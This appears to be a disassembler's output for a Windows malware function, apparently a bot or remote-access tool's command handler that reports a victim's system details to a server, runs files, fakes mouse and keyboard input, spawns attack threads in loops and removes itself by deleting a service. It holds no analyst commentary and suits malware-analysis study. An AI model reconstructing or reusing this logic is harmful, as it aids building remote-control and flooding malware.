Function at 0x404980
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create thread
Create udp socket
Terminate thread

Disassembly:
mov eax, 0x2244
call fcn.00408e70
mov ax, word [0x412e2c]
push ebx
push ebp
push esi
push edi
push eax
mov word [esp + 0x28], 2
call dword [sym.imp.WS2_32.dll_htons]
push 0x412d28
mov word [esp + 0x2a], ax
call fcn.00403a40
add esp, 4
mov dword [esp + 0x28], eax
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
lea ecx, [esp + 0x24]
mov ebx, eax
push 0x10
push ecx
push ebx
mov dword [esp + 0x2c], ebx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x4049ec
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x2244
ret 4
push 0x4b
push ebx
call fcn.00403530
mov ecx, 0x39
xor eax, eax
lea edi, [esp + 0x1f8]
lea edx, [esp + 0x1f8]
rep stosd dword es:[edi], eax
push edx
call 0x4058c0
add esp, 0xc
lea eax, [esp + 0x290]
push 0x412e34
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
call fcn.00408a40
mov dword [esp + 0x2d0], eax
mov ecx, 0x5db
xor eax, eax
lea edi, [esp + 0xae5]
rep stosd dword es:[edi], eax
mov ecx, dword [0x412e30]
lea edx, [esp + 0x10]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [esp + 0x18], ecx
lea eax, [esp + 0x1f0]
mov ecx, 0x39
lea esi, [esp + 0x1f0]
lea edi, [esp + 0xae4]
push edx
push eax
push ebx
rep movsd dword es:[edi], dword [esi]
mov dword [esp + 0x1c], 0x11000000
mov dword [esp + 0x20], 0xe4
call fcn.00403680
add esp, 0xc
test eax, eax
jne 0x404aa8
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x2244
ret 4
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebp, dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, 1
mov ecx, 0x5dc
xor eax, eax
lea edi, [esp + 0xae4]
lea edx, [esp + 0xae4]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x20]
lea ecx, [esp + 0x10]
push ecx
push edx
push eax
call fcn.004036d0
add esp, 0xc
test eax, eax
je 0x40575d
mov eax, dword [esp + 0x10]
cmp eax, 0x28000000
ja 0x404ff9
je 0x404fe0
cmp eax, 0x20000016
ja 0x404e2f
je 0x404ddc
add eax, 0xe0000000
cmp eax, 0x15
ja case.0x404e56.536870939
xor ecx, ecx
mov cl, byte [eax + 0x405880]
jmp dword [ecx*4 + 0x405858]
mov edx, dword [esp + 0x14]
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x4dc]
rep stosd dword es:[edi], eax
inc edx
lea eax, [esp + 0xae4]
push edx
lea ecx, [esp + 0x4e0]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
push 3
push 0
lea edx, [esp + 0x4e4]
push 0
push edx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp case.0x404e56.536870939
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x8e4]
lea edx, [esp + 0x8e4]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0xae4]
inc eax
push eax
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x7e0]
lea edx, [esp + 0x7e0]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0xae4]
inc eax
push eax
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x2d5]
mov byte [esp + 0x2d4], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x2d4]
push 0x413924
push eax
call fcn.00405b70
lea ecx, [esp + 0x2dc]
lea edx, [esp + 0x7e8]
push ecx
push edx
call fcn.00405be0
lea eax, [esp + 0x2e4]
push eax
call fcn.00405e70
add esp, 0x14
test eax, eax
je case.0x404e56.536870939
lea ecx, [esp + 0x2d4]
push ecx
call fcn.00404850
add esp, 4
jmp case.0x404e56.536870939
lea ecx, [esp + 0x160]
call fcn.004083f0
mov edx, dword [esp + 0x18]
push 0
push 0
push 0
push edx
call dword [sym.imp.USER32.dll_keybd_event]
lea ecx, [esp + 0x160]
call fcn.00408440
jmp case.0x404e56.536870939
lea ecx, [esp + 0x130]
call fcn.004083f0
mov eax, dword [esp + 0x18]
push 0
push 2
push 0
push eax
call dword [sym.imp.USER32.dll_keybd_event]
lea ecx, [esp + 0x130]
call fcn.00408440
jmp case.0x404e56.536870939
lea ecx, [esp + 0xd0]
call fcn.004083f0
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x18]
push ecx
push edx
call dword [sym.imp.USER32.dll_SetCursorPos]
lea ecx, [esp + 0xd0]
call fcn.00408440
jmp case.0x404e56.536870939
lea ecx, [esp + 0x190]
call fcn.004083f0
push 0
push 0
push 0
push 0
push 2
call dword [sym.imp.USER32.dll_mouse_event]
lea ecx, [esp + 0x190]
call fcn.00408440
jmp case.0x404e56.536870939
lea ecx, [esp + 0x70]
call fcn.004083f0
push 0
push 0
push 0
push 0
push 4
call dword [sym.imp.USER32.dll_mouse_event]
lea ecx, [esp + 0x70]
call fcn.00408440
jmp case.0x404e56.536870939
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x9e4]
lea edx, [esp + 0x9e4]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0xae4]
inc eax
push eax
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x6dc]
lea edx, [esp + 0x6dc]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0xae4]
inc eax
push eax
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x3d9]
mov byte [esp + 0x3d8], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x3d8]
push 0x413924
push eax
call fcn.00405b70
lea ecx, [esp + 0x3e0]
lea edx, [esp + 0x6e4]
push ecx
push edx
call fcn.00405be0
add esp, 0x10
test eax, eax
je case.0x404e56.536870939
lea eax, [esp + 0x3d8]
push eax
call fcn.00405e70
add esp, 4
test eax, eax
jne 0x4057ed
jmp case.0x404e56.536870939
lea ecx, [esp + 0xa0]
call fcn.004083f0
mov edi, dword [sym.imp.USER32.dll_mouse_event]
push 0
push 0
push 0
push 0
push 2
call edi
push 0
push 0
push 0
push 0
push 4
call edi
push 0
push 0
push 0
push 0
push 2
call edi
push 0
push 0
push 0
push 0
push 4
call edi
lea ecx, [esp + 0xa0]
call fcn.00408440
jmp case.0x404e56.536870939
cmp eax, 0x21000000
ja 0x404f79
je 0x404f60
add eax, 0xdfffffe9
cmp eax, 9
ja case.0x404e56.536870939
xor ecx, ecx
mov cl, byte [eax + 0x4058ac]
jmp dword [ecx*4 + 0x405898]
lea edi, [esp + 0xae4]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp ecx, 0xbb6
ja case.0x404e56.536870939
lea edi, [esp + 0xae4]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov edx, ecx
mov esi, edi
mov edi, 0x423738
push eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
lea eax, [esp + 0x18]
mov ecx, edx
push eax
and ecx, 3
push 0x4076d0
push 0
rep movsb byte es:[edi], byte [esi]
push 0
call ebp
push eax
call ebx
jmp 0x404ab4
lea ecx, [esp + 0x100]
call fcn.004083f0
push 0
push 0
push 0
push 0
push 8
call dword [sym.imp.USER32.dll_mouse_event]
lea ecx, [esp + 0x100]
call fcn.00408440
jmp case.0x404e56.536870939
lea ecx, [esp + 0x40]
call fcn.004083f0
push 0
push 0
push 0
push 0
push 0x10
call dword [sym.imp.USER32.dll_mouse_event]
lea ecx, [esp + 0x40]
call fcn.00408440
jmp case.0x404e56.536870939
lea ecx, [esp + 0x1c0]
call fcn.004083f0
mov edi, dword [sym.imp.USER32.dll_mouse_event]
push 0
push 0
push 0
push 0
push 8
call edi
push 0
push 0
push 0
push 0
push 0x10
call edi
push 0
push 0
push 0
push 0
push 8
call edi
push 0
push 0
push 0
push 0
push 0x10
call edi
lea ecx, [esp + 0x1c0]
call fcn.00408440
jmp case.0x404e56.536870939
push 0
push 0
push 0
push 0x406d10
push 0
push 0
call ebp
push eax
call ebx
jmp case.0x404e56.536870939
cmp eax, 0x22000001
je 0x404fc4
cmp eax, 0x23000000
je 0x404fab
cmp eax, 0x25000000
jne case.0x404e56.536870939
push 0
push 0
push 0
push 0x406c00
push 0
push 0
call ebp
push eax
call ebx
jmp case.0x404e56.536870939
push 0
push 0
push 0
push 0x4060f0
push 0
push 0
call ebp
push eax
call ebx
jmp case.0x404e56.536870939
mov ecx, dword [esp + 0x18]
push 0
push 0
push ecx
push 0x406730
push 0
push 0
call ebp
push eax
call ebx
jmp case.0x404e56.536870939
push 0
push 0
push 0
push 0x406980
push 0
push 0
call ebp
push eax
call ebx
jmp case.0x404e56.536870939
cmp eax, 0x32000002
ja 0x4053ee
je 0x405384
cmp eax, 0x31000004
ja 0x405226
je 0x4051bd
cmp eax, 0x31000002
ja 0x405148
je 0x4050de
cmp eax, 0x30000001
je 0x4050b9
cmp eax, 0x31000001
jne case.0x404e56.536870939
push 0
lea eax, [esp + 0xbb8]
push 0
push eax
push 0x404950
lea edx, [esp + 0xaf4]
push 0
push 0
mov dword [0x4137e0], esi
mov dword [0x4236fc], edx
call ebp
mov dword [0x423704], eax
mov eax, dword [0x423708]
test eax, eax
jne 0x405529
mov eax, dword [0x4236fc]
xor edi, edi
mov ecx, dword [eax + 0xcc]
test ecx, ecx
jle case.0x404e56.536870939
push 0
push 0
push eax
push 0x401d60
push 0
push 0
call ebp
push eax
call ebx
mov eax, dword [0x4236fc]
inc edi
cmp edi, dword [eax + 0xcc]
jl 0x405093
jmp case.0x404e56.536870939
mov eax, dword [0x423704]
mov dword [0x4137e0], 0
test eax, eax
je case.0x404e56.536870939
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
jmp case.0x404e56.536870939
push 0
lea eax, [esp + 0xbb8]
push 0
push eax
push 0x404950
lea edx, [esp + 0xaf4]
push 0
push 0
mov dword [0x4137e0], esi
mov dword [0x4236fc], edx
call ebp
mov dword [0x423704], eax
mov eax, dword [0x4236fc]
xor edi, edi
mov ecx, dword [eax + 0xcc]
test ecx, ecx
jle case.0x404e56.536870939
push 0
push 0
push eax
push 0x402080
push 0
push 0
call ebp
push eax
call ebx
mov eax, dword [0x4236fc]
inc edi
cmp edi, dword [eax + 0xcc]
jl 0x405122
jmp case.0x404e56.536870939
cmp eax, 0x31000003
jne case.0x404e56.536870939
push 0
lea edx, [esp + 0xbb8]
push 0
push edx
push 0x404950
lea ecx, [esp + 0xaf4]
push 0
push 0
mov dword [0x4137e0], esi
mov dword [0x4236fc], ecx
call ebp
mov dword [0x423704], eax
mov eax, dword [0x4236fc]
xor edi, edi
mov ecx, dword [eax + 0xcc]
test ecx, ecx
jle case.0x404e56.536870939
push 0
push 0
push eax
push 0x401d60
push 0
push 0
call ebp
push eax
call ebx
mov eax, dword [0x4236fc]
inc edi
cmp edi, dword [eax + 0xcc]
jl 0x405197
jmp case.0x404e56.536870939
push 0
lea ecx, [esp + 0xbb8]
push 0
push ecx
push 0x404950
lea eax, [esp + 0xaf4]
push 0
push 0
mov dword [0x4137e0], esi
mov dword [0x4236fc], eax
call ebp
mov dword [0x423704], eax
mov eax, dword [0x4236fc]
xor edi, edi
mov ecx, dword [eax + 0xcc]
test ecx, ecx
jle case.0x404e56.536870939
push 0
push 0
push eax
push 0x401ec0
push 0
push 0
call ebp
push eax
call ebx
mov eax, dword [0x4236fc]
inc edi
cmp edi, dword [eax + 0xcc]
jl 0x405200
jmp case.0x404e56.536870939
sub eax, 0x31000005
je 0x405313
dec eax
je 0x4052a9
sub eax, 0xfffffb
jne case.0x404e56.536870939
push 0
lea eax, [esp + 0xbb8]
push 0
push eax
push 0x404950
lea edx, [esp + 0xaf4]
push 0
push 0
mov dword [0x4137e0], esi
mov dword [0x4236fc], edx
call ebp
mov dword [0x423704], eax
mov eax, dword [0x4236fc]
xor edi, edi
mov ecx, dword [eax + 0xcc]
test ecx, ecx
jle case.0x404e56.536870939
push 0
push 0
push eax
push 0x401460
push 0
push 0
call ebp
push eax
call ebx
mov eax, dword [0x4236fc]
inc edi
cmp edi, dword [eax + 0xcc]
jl 0x405283
jmp case.0x404e56.536870939
push 0
lea edx, [esp + 0xbb8]
push 0
push edx
push 0x404950
lea ecx, [esp + 0xaf4]
push 0
push 0
mov dword [0x4137e0], esi
mov dword [0x4236fc], ecx
call ebp
mov dword [0x423704], eax
mov eax, dword [0x4236fc]
xor edi, edi
mov ecx, dword [eax + 0xcc]
test ecx, ecx
jle case.0x404e56.536870939
push 0
push 0
push eax
push 0x402380
push 0
push 0
call ebp
push eax
call ebx
mov eax, dword [0x4236fc]
inc edi
cmp edi, dword [eax + 0xcc]
jl 0x4052ed
jmp case.0x404e56.536870939
push 0
lea ecx, [esp + 0xbb8]
push 0
push ecx
push 0x404950
lea eax, [esp + 0xaf4]
push 0
push 0
mov dword [0x4137e0], esi
mov dword [0x4236fc], eax
call ebp
mov dword [0x423704], eax
mov eax, dword [0x4236fc]
xor edi, edi
mov ecx, dword [eax + 0xcc]
test ecx, ecx
jle case.0x404e56.536870939
push 0
push 0
push eax
push 0x402210
push 0
push 0
call ebp
push eax
call ebx
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x4236fc]
inc edi
cmp edi, dword [eax + 0xcc]
jl 0x405356
jmp case.0x404e56.536870939
push 0
lea eax, [esp + 0xbb8]
push 0
push eax
push 0x404950
lea edx, [esp + 0xaf4]
push 0
push 0
mov dword [0x4137e0], esi
mov dword [0x4236fc], edx
call ebp
mov dword [0x423704], eax
mov eax, dword [0x4236fc]
xor edi, edi
mov ecx, dword [eax + 0xcc]
test ecx, ecx
jle case.0x404e56.536870939
push 0
push 0
push eax
push 0x401290
push 0
push 0
call ebp
push eax
call ebx
mov eax, dword [0x4236fc]
inc edi
cmp edi, dword [eax + 0xcc]
jl 0x4053c8
jmp case.0x404e56.536870939
cmp eax, 0x34000002
ja 0x405622
je 0x4055b9
cmp eax, 0x33000003
ja 0x4055a9
je 0x4054f1
sub eax, 0x33000001
je 0x405488
dec eax
jne case.0x404e56.536870939
push 0
lea edx, [esp + 0xbb8]
push 0
push edx
push 0x404950
lea ecx, [esp + 0xaf4]
push 0
push 0
mov dword [0x4137e0], esi
mov dword [0x4236fc], ecx
call ebp
mov dword [0x423704], eax
mov eax, dword [0x4236fc]
xor edi, edi
mov ecx, dword [eax + 0xcc]
test ecx, ecx
jle case.0x404e56.536870939
push 0
push 0
push eax
push 0x401d60
push 0
push 0
call ebp
push eax
call ebx
mov eax, dword [0x4236fc]
inc edi
cmp edi, dword [eax + 0xcc]
jl 0x405462
jmp case.0x404e56.536870939
push 0
lea ecx, [esp + 0xbb8]
push 0
push ecx
push 0x404950
lea eax, [esp + 0xaf4]
push 0
push 0
mov dword [0x4137e0], esi
mov dword [0x4236fc], eax
call ebp
mov dword [0x423704], eax
mov eax, dword [0x4236fc]
xor edi, edi
mov ecx, dword [eax + 0xcc]
test ecx, ecx
jle case.0x404e56.536870939
push 0
push 0
push eax
push 0x402440
push 0
push 0
call ebp
push eax
call ebx
mov eax, dword [0x4236fc]
inc edi
cmp edi, dword [eax + 0xcc]
jl 0x4054cb
jmp case.0x404e56.536870939
push 0
lea eax, [esp + 0xbb8]
push 0
push eax
push 0x404950
lea edx, [esp + 0xaf4]
push 0
push 0
mov dword [0x4137e0], esi
mov dword [0x4236fc], edx
call ebp
mov dword [0x423704], eax
mov eax, dword [0x423708]
cmp eax, esi
jne 0x405547
mov ecx, dword [0x4236fc]
push 0
push 0
push ecx
push 0x401ca0
push 0
push 0
call ebp
push eax
call ebx
jmp case.0x404e56.536870939
mov ecx, dword [0x4236fc]
xor edi, edi
mov eax, dword [ecx + 0xcc]
cdq
sub eax, edx
sar eax, 1
test eax, eax
jle case.0x404e56.536870939
push 0
push 0
push ecx
push 0x401d60
push 0
push 0
call ebp
push eax
call ebx
mov edx, dword [0x4236fc]
push 0
push 0
push edx
push 0x402210
push 0
push 0
call ebp
push eax
call ebx
mov ecx, dword [0x4236fc]
inc edi
mov eax, dword [ecx + 0xcc]
cdq
sub eax, edx
sar eax, 1
cmp edi, eax
jl 0x405562
jmp case.0x404e56.536870939
cmp eax, 0x34000001
je 0x4056f3
jmp case.0x404e56.536870939
push 0
lea ecx, [esp + 0x1f44]
push 0
push ecx
push 0x404950
lea eax, [esp + 0xaf4]
push 0
push 0
mov dword [0x4137e0], esi
mov dword [0x423700], eax
call ebp
mov dword [0x423704], eax
mov eax, dword [0x423700]
xor edi, edi
mov ecx, dword [eax + 0x1458]
test ecx, ecx
jle case.0x404e56.536870939
push 0
push 0
push eax
push 0x4027d0
push 0
push 0
call ebp
push eax
call ebx
mov eax, dword [0x423700]
inc edi
cmp edi, dword [eax + 0x1458]
jl 0x4055fc
jmp case.0x404e56.536870939
cmp eax, 0x34000003
je 0x4056f3
cmp eax, 0x36000001
je 0x40568a
cmp eax, 0x37000002
jne case.0x404e56.536870939
mov edx, dword [esp + 0x14]
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x5dc]
rep stosd dword es:[edi], eax
inc edx
lea eax, [esp + 0xae4]
push edx
lea ecx, [esp + 0x5e0]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
push 0
lea edx, [esp + 0x5e0]
push 0
push edx
push 0x405fc0
push 0
push 0
call ebp
push eax
call ebx
jmp case.0x404e56.536870939
push 0
lea ecx, [esp + 0xbb8]
push 0
push ecx
push 0x404950
lea eax, [esp + 0xaf4]
push 0
push 0
mov dword [0x4137e0], esi
mov dword [0x4236fc], eax
call ebp
mov dword [0x423704], eax
mov eax, dword [0x4236fc]
xor edi, edi
mov ecx, dword [eax + 0xcc]
test ecx, ecx
jle case.0x404e56.536870939
push 0
push 0
push eax
push 0x401660
push 0
push 0
call ebp
push eax
call ebx
mov eax, dword [0x4236fc]
inc edi
cmp edi, dword [eax + 0xcc]
jl 0x4056cd
jmp case.0x404e56.536870939
push 0
lea eax, [esp + 0x1f44]
push 0
push eax
push 0x404950
lea edx, [esp + 0xaf4]
push 0
push 0
mov dword [0x4137e0], esi
mov dword [0x423700], edx
call ebp
mov dword [0x423704], eax
mov eax, dword [0x423700]
xor edi, edi
mov ecx, dword [eax + 0x1458]
test ecx, ecx
jle case.0x404e56.536870939
push 0
push 0
push eax
push 0x4026b0
push 0
push 0
call ebp
push eax
call ebx
mov eax, dword [0x423700]
inc edi
cmp edi, dword [eax + 0x1458]
jl 0x405737
jmp case.0x404e56.536870939
mov edi, dword [esp + 0x20]
push 2
push edi
call dword [sym.imp.WS2_32.dll_shutdown]
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2244
ret 4
mov ecx, dword [0x423714]
push ecx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [0x423710]
test eax, eax
je 0x4057cd
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
push 0x10000
push 0x412710
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
push edi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call edi
push esi
call edi
call fcn.00407320
lea edx, [esp + 0x34]
push 0x413920
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [0x423714]
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [0x423710]
test eax, eax
je 0x405839
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
push 0x10000
push 0x412710
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
push edi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call edi
push esi
call edi
lea ecx, [esp + 0x3d8]
push ecx
call fcn.00404850
add esp, 4
call fcn.00407320
push 0
call dword [sym.imp.MSVCRT.dll_exit]
mov edi, edi
adc byte [edi + 0x40], 0
jbe 4217001
inc eax
add byte [edx], ch
dec ebx
inc eax
add byte [edx], bl
dec ebp
inc eax
add byte [0x6b00404c], bh
dec esp
inc eax
add byte [ecx - 0x39ffbfb4], bl
dec esp
inc eax
add bl, dh
dec esp
inc eax
add byte [ecx + 0x404a], bh
or dword [ecx], ecx
or dword [ecx], eax
add cl, byte [ecx]
add ecx, dword [ecx]
or dword [ecx], ecx
or dword [ecx], ecx
or dword [ecx], ecx
or dword [ecx], ecx
add al, 5
push es
pop es
or byte [ebx + 0x404eb9ff], cl
add dh, ah
dec esi
inc eax
add byte [0x5d00404f], cl
dec esi
inc eax
add byte [ecx + 0x404a], bh
dec edx
inc eax
add byte [eax], al
add dword [edx], eax
add al, 4
add al, 4
add al, 4
add edx, dword [eax - 0x6f6f6f70]
nop
nop
nop
nop
nop
sub esp, 0x2e4
push ebx
push ebp
mov ebp, dword [esp + 0x2f0]
push esi
push edi
mov ecx, 0x39
xor eax, eax
mov edi, ebp
rep stosd dword es:[edi], eax
lea eax, [esp + 0x24]
mov dword [esp + 0x24], 0x40
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea ecx, [esp + 0x28]
mov dword [esp + 0x28], 0x20
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
mov edx, dword [esp + 0x30]
lea eax, [ebp + 0x40]
shr edx, 0x14
inc edx
push edx
push str._uMB
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xf9]
mov byte [esp + 0xf8], 0
rep stosd dword es:[edi], eax
add esp, 0xc
lea ecx, [esp + 0xec]
stosw word es:[edi], ax
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
push ecx
stosb byte es:[edi], al
mov dword [esp + 0x24], 0
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea edx, [esp + 0x14]
push edx
push 0xf003f
lea eax, [esp + 0xf4]
push 0
push eax
push connect
call ebx
test eax, eax
jne 0x4059b5
lea ecx, [esp + 0x20]
lea edx, [esp + 0x1c]
push ecx
mov ecx, dword [esp + 0x18]
lea eax, [esp + 0x14]
push edx
push eax
push 0
push str.MHz
push ecx
mov dword [esp + 0x28], 4
mov dword [esp + 0x38], 0xc8
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [esp + 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [esp + 0x48]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x5c]
push ecx
push edx
lea eax, [ebp + 0xc0]
push str._u_u_MHz
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
mov edi, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
or ecx, 0xffffffff
xor eax, eax
add esp, 0x10
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x1f0]
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x1f0]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x18]
xor edi, edi
push ecx
push 0xf003f
push edi
push edx
push connect
call ebx
test eax, eax
jne 0x405a5b
lea eax, [esp + 0x10]
lea ecx, [esp + 0x6c]
push eax
mov eax, dword [esp + 0x1c]
lea edx, [esp + 0x24]
push ecx
push edx
push edi
push 0x4139b0
push eax
mov dword [esp + 0x28], 0xc8
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [esp + 0x18]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [sym.imp.MSVCRT.dll_strstr]
lea edx, [esp + 0x6c]
push str.2000
push edx
call esi
add esp, 8
test eax, eax
je 0x405a8b
mov dword [0x423708], 1
lea edx, [ebp + 0x60]
mov edi, str.Windows_2000
jmp 0x405b43
lea ecx, [esp + 0x6c]
push 0x413994
push ecx
call esi
add esp, 8
test eax, eax
je 0x405ab1
mov dword [0x423708], edi
lea edx, [ebp + 0x60]
mov edi, str.Windows_XP
jmp 0x405b43
lea ecx, [esp + 0x6c]
push str.2003
push ecx
call esi
add esp, 8
test eax, eax
je 0x405ad8
mov dword [0x423708], 1
lea edx, [ebp + 0x60]
mov edi, str.Windows_2003
jmp 0x405b43
lea ecx, [esp + 0x6c]
push str.Vista
push ecx
call esi
add esp, 8
test eax, eax
je 0x405afb
mov dword [0x423708], edi
lea edx, [ebp + 0x60]
mov edi, str.Windows_Vista
jmp 0x405b43
lea ecx, [esp + 0x6c]
push str.2008
push ecx
call esi
add esp, 8
test eax, eax
je 0x405b22
mov dword [0x423708], 1
lea edx, [ebp + 0x60]
mov edi, str.Windows_2008
jmp 0x405b43
lea ecx, [esp + 0x6c]
push 0x41393c
push ecx
call esi
add esp, 8
test eax, eax
je 0x405b60
mov dword [0x423708], edi
lea edx, [ebp + 0x60]
mov edi, str.Windows_7
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x2e4
ret